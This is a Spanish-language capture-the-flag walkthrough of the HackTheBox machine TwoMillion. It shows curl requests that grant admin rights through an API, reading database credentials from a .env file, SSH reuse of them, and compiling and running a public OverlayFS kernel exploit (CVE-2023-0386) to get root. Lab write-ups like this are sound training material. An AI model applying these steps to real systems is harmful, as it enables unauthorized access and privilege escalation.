HackTheBox - TwoMillion

logo

  • HackTheBox Invite Code Challenge
  • Discovering API Routes
  • Command Injection - RCE
  • Re-using the database password
  • (Overlay FS) - Privilege escalation

Escaneo de puertos

❯ nmap -p- -T5 -n -v 10.10.11.221

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 10.10.11.221

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Agrego el dominio 2million.htb a mi archivo hosts.

http-2million

Realizo fuerza bruta de directorios.

❯ wfuzz -t 100 -c --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://2million.htb/FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://2million.htb/FUZZ
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================
                                                                                                                                          
000002431:   401        0 L      0 W        0 Ch        "api"                                                                                                                                           
000008957:   302        0 L      0 W        0 Ch        "home"                                                                                                                                          
000009833:   200        96 L     285 W      3859 Ch     "invite"                                                                                                                                        
000011057:   200        80 L     232 W      3704 Ch     "login"                                                                                                                                         
000011080:   302        0 L      0 W        0 Ch        "logout"                                                                                                                                        
000015176:   200        94 L     293 W      4527 Ch     "register" 

Doy click en invite y me sale el clásico formulario de invitación de htb que antiguamente servía para registrarse en la plataforma si conseguías generar un código de invitación.

invite

Abro el inspector de elementos, me voy al depurador y selecciono inviteapi.min.js.

depurador

Desde la consola del navegador genero una invitación pero esta codificada en ROT13

console3

Decodifico la data en cyberchef.

cyberchef

Como bien me indica realizo una solicitud POST a /api/v1/invite/generate para generar un código de invitación.

 curl -s -X POST http://2million.htb/api/v1/invite/generate | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "UE9PUVotR1g4VjQtWEhRM1YtTks3UkQ=",
    "format": "encoded"
  }
}

Decodifico el código en base64 y finalmente obtengo el código de invitación.

❯ echo "UE9PUVotR1g4VjQtWEhRM1YtTks3UkQ=" | base64 -d;echo
POOQZ-GX8V4-XHQ3V-NK7RD

Introduzco el código de invitación.

códigoInv

Me registro.

registro

Accedo al dashboard.

noname_dashboard

Haciendo hovering encuentro que en access es el único sitio donde puedo hacer click.

access

Lanzo burpsuite y capturo la petición de Regenerate y la mando al repeater.

regenerate

Enumerando entre directorios en /api/user encuentro detalles de la API completa.

 curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Verifico si soy usuario admin con /api/v1/admin/auth.

 curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
  "message": false
}

Intento generar una vpn con /api/v1/admin/vpn/generate mediante el método POST pero al no ser admin no tengo permisos.

api_post_admin_generate_vpn

Al probar el método PUT veo el mensaje Invalid content type.

 curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

Le añado el content type pero ahora no encuentra el parametro email.

 curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" | jq
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Le añado el parámetro email.

 curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" -d '{"email":"noname@mail.com"}' | jq
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Finalmente le agrego el parámetro is_admin y me responde que el id 15 con el nombre de usuario noname es administrador.

 curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" -H "Content-Type:application/json" -d '{"email":"noname@mail.com","is_admin":1}' | jq
{
  "id": 15,
  "username": "noname",
  "is_admin": 1
}

Verifico si soy administrador.

 curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=o42kq37cra0c4soal569lsvrth" | jq
{
  "message": true
}

Después de una pruebas veo que puedo inyectar comandos.

commnad_injection

Me mando una shell.

rshell

Realizo el tratamiento de la tty.

www-data@2million:~/html$ tty
not a tty
www-data@2million:~/html$ script /dev/null -c bash
ctrl + Z
stty raw -echo;fg
reset
xterm
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200

En el archivo .env encuentro unas credenciales.

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=S*************123

Me conecto al sistema como admin.

❯ ssh admin@10.10.11.221
admin@10.10.11.221's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Sep  1 05:31:02 PM UTC 2023

  System load:           0.0087890625
  Usage of /:            79.1% of 4.82GB
  Memory usage:          14%
  Swap usage:            0%
admin@2million:~$ 

Enumero el sistema en busca de todo lo relacionado con el usuario admin.

admin@2million:~$ find / -user admin 2>/dev/null | grep -v -i -E 'proc|sys|dev|run'
/home/admin
/home/admin/.cache
/home/admin/.cache/motd.legal-displayed
/home/admin/.ssh
/home/admin/.ssh/known_hosts.old
/home/admin/.ssh/known_hosts
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin

Leo el archivo admin.

admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Buscando por OverlayFS exploit encuentro este exploit.

https://github.com/xkaneiki/CVE-2023-0386/

Me descargo el zip a mi máquina, luego subo el zip a la máquina víctima, descomprimo el zip y entro a la carpeta para compilar el exploit.

admin@2million:/tmp/$ unzip main.zip
admin@2million:/tmp/$ cd CVE-2023-0386-main
admin@2million:/tmp/CVE-2023-0386-main$ make all
admin@2million:/tmp/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601

Desde otra terminal me conecto al sistema, entro en la carpeta del exploit y escribo ./exp para obtener el root.

./exp
root@2million:/tmp/CVE-2023-0386-main# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/root#

Y con esto ya tenemos resuelta la máquina TwoMillion.

Saludos!